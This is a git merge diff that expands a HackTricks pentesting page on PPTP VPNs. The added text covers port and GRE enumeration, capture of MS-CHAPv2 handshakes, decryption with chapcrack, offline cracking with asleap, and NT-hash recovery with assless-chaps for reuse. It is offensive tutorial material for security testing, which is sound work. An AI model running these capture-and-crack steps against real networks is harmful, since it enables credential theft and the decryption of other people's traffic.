Merge pull request #2059 from HackTricks-wiki/research_update_src_network-services-pentesting_1723-pentesting-pptp_20260327_025301

Research Update Enhanced src/network-services-pentesting/172...

Author: carlospolop

src/network-services-pentesting/1723-pentesting-pptp.md

@@ -4,24 +4,96 @@
 
 ## Basic Information
 
-**Point-to-Point Tunneling Protocol (PPTP)** is a method widely employed for **remote access** to mobile devices. It utilizes **TCP port 1723** for the exchange of keys, while **IP protocol 47** (Generic Routing Encapsulation, or **GRE**), is used to encrypt the data that is transmitted between peers. This setup is crucial for establishing a secure communication channel over the internet, ensuring that the data exchanged remains confidential and protected from unauthorized access.
+**Point-to-Point Tunneling Protocol (PPTP)** is an old VPN tunneling protocol used for **remote access**. It uses **TCP port 1723** for the control channel and **IP protocol 47** (**GRE**) to carry the PPP payload. The traffic inside the tunnel is commonly protected with **MPPE**, while authentication is frequently based on **MS-CHAPv2**.
+
+From an offensive perspective, the interesting part is usually not the control connection itself but the fact that **capturing a PPTP/MS-CHAPv2 handshake can enable offline password or NT-hash recovery**. Also remember that a host can answer on TCP/1723 while the tunnel still fails because **GRE (protocol 47) is filtered**.
 
 **Default Port**:1723
 
 ## Enumeration
 
 ```bash
-nmap –Pn -sSV -p1723 <IP>
+nmap -Pn -sSV -p1723 <IP>
+nmap -Pn -sO --protocol 47 <IP>
+```
+
+If you only confirm `tcp/1723` and miss GRE, you can easily get a false sense that the VPN is reachable. During troubleshooting or sniffing, capture both the control and encapsulated traffic:
+
+```bash
+sudo tcpdump -ni <iface> 'tcp port 1723 or gre' -w pptp-handshake.pcap
+tshark -r pptp-handshake.pcap -Y 'pptp || gre || ppp || chap'
 ```
 
 ### [Brute Force](../generic-hacking/brute-force.md#pptp)
 
-## Vulnerabilities
+## Attack Notes
 
-- [https://www.schneier.com/academic/pptp/](https://www.schneier.com/academic/pptp/)
-- [https://github.com/moxie0/chapcrack](https://github.com/moxie0/chapcrack)
+### MS-CHAPv2 handshake capture
 
-{{#include ../banners/hacktricks-training.md}}
+For PPTP, the relevant material is the PPP authentication exchange transported inside GRE. In MS-CHAPv2 the response depends on:
+
+- The server **AuthenticatorChallenge**
+- The client **Peer-Challenge**
+- The **username**
+- The **NT-Response**
+
+That means a packet capture is often enough to move the attack offline. If you can sniff the initial connection, request the user to reconnect, or position yourself on-path, capture the handshake and extract the challenge/response data.
+
+Useful quick filters:
+
+```bash
+tshark -r pptp-handshake.pcap -Y 'chap'
+tshark -r pptp-handshake.pcap -Y 'ppp and chap'
+```
+
+### Parse and decrypt with `chapcrack`
+
+`chapcrack` is still one of the cleanest ways to process a PPTP capture:
+
+```bash
+chapcrack.py parse -i pptp-handshake.pcap
+```
+
+If you recover the underlying secret material, you can decrypt the PPTP packet capture:
+
+```bash
+chapcrack.py decrypt -i pptp-handshake.pcap -o pptp-decrypted.pcap -n <recovered_nt_hash_or_token>
+```
+
+This is especially useful when the goal is not only credential recovery but also **session decryption** and post-auth traffic analysis.
+
+### Crack challenge/response material
+
+If you already extracted the challenge/response pair, `asleap` can still be used directly against PPTP/MS-CHAPv2 material:
+
+```bash
+asleap -C 58:16:d5:ac:4b:dc:e4:0f -R 50:ae:a3:0a:10:9e:28:f9:33:1b:44:b1:3d:9e:20:91:85:e8:2e:c3:c5:4c:00:23 -W /usr/share/wordlists/rockyou.txt
+```
+
+`asleap` also supports working from packet captures or precomputed lookup tables, but for PPTP assessments the most common workflow is:
+
+1. Capture the PPTP handshake
+2. Extract the challenge/response
+3. Run offline cracking with `asleap`, `chapcrack`, or a custom workflow
 
+Recent tradecraft also includes **NT-hash-first** workflows such as `assless-chaps`, which recover the **NT hash** from MS-CHAPv2/NTLMv1 challenge-response material using a prepared hash database. This can be faster than conventional password cracking if you maintain a good NT-hash corpus:
 
+```bash
+./assless-chaps <challenge> <response> <hashes.db>
+```
+
+This matters because for PPTP the recovered **NT hash is operationally valuable by itself**: once obtained, it can be used to validate the crack, decrypt captures, and pivot into Windows-oriented reuse checks.
+
+### Protocol weakness summary
+
+- PPTP depends on a **separate GRE data channel**, so firewalls often expose `tcp/1723` while silently breaking the tunnel.
+- **MS-CHAPv2 security effectively collapses to recovering DES-derived material / NT-hash-equivalent secrets**, making passive capture much more dangerous than with modern VPNs.
+- Even if the password is not immediately recovered, the handshake can usually be **stored and attacked offline later**.
+
+## References
+
+- [https://github.com/moxie0/chapcrack](https://github.com/moxie0/chapcrack)
+- [https://github.com/sensepost/assless-chaps](https://github.com/sensepost/assless-chaps)
+
+{{#include ../banners/hacktricks-training.md}}